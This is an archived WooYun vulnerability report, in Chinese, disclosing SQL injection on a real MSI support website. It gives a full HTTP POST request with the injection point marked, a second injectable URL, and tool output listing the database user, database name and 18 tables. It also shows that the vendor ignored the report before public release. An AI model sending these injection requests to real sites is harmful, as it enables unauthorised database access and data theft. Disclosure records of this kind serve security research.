乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-15: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-07-30: 厂商已经主动忽略漏洞,细节向公众公开
微星msi某站点MySQL注射. 买了微星的主板,顺便挖几个漏洞。。。
注入点不止一个
POST /faq/debugbase.php?code=boot00002* HTTP/1.1Content-Length: 9Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://frsupport.msi.comCookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=m1mkkse3ujieusfygfv5dshorrxsjsje; PHPSESSID=q3ff217rmdsfoqr8hhcfn0avm7; SWIFT_visitorsession=a%3A1%3A%7Bs%3A8%3A%22isbanned%22%3Bs%3A1%3A%220%22%3B%7D; SWIFT_sessionid80=6b1gtjkdcijt7jmh17bq6jod1wlhqjq7; SWIFT_visitor=a%3A16%3A%7Bi%3A3%3Bs%3A27%3A%22Data+Communication+Division%22%3Bi%3A4%3Bs%3A33%3A%22CHINANET+Beijing+Province+Network%22%3Bi%3A5%3Bs%3A2%3A%22CN%22%3Bi%3A12%3Bs%3A5%3A%22China%22%3Bi%3A6%3Bs%3A7%3A%22Beijing%22%3Bi%3A1%3Bs%3A7%3A%22Beijing%22%3Bi%3A7%3Bs%3A0%3A%22%22%3Bi%3A8%3Bs%3A7%3A%2239.9289%22%3Bi%3A9%3Bs%3A8%3A%22116.3883%22%3Bi%3A10%3Bs%3A0%3A%22%22%3Bi%3A11%3Bs%3A0%3A%22%22%3Bi%3A13%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22geoip%22%3Bi%3A1%3Bs%3A9%3A%22notecheck%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22sessionid%22%3Bs%3A32%3A%226b1gtjkdcijt7jmh17bq6jod1wlhqjq7%22%3Bs%3A9%3A%22lastvisit%22%3Bi%3A1434107867%3B%7DHost: frsupport.msi.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*problem=2
http://frsupport.msi.com/faq/product-qa.php?idfaq=*&idmodel=No
current user: 'frsupportfaq@%'current database: 'frsupportfaq'Database: frsupportfaq[18 tables]+--------------------+| tbl_batterylife || tbl_bios_code || tbl_bios_model || tbl_category || tbl_debug_code || tbl_debug_guide || tbl_debug_list || tbl_faq || tbl_faq_data || tbl_games || tbl_link_type || tbl_link_type_old || tbl_marketingsheet || tbl_model || tbl_model_old || tbl_os || tbl_product || tbl_serie |+--------------------+
参数过滤
未能联系到厂商或者厂商积极拒绝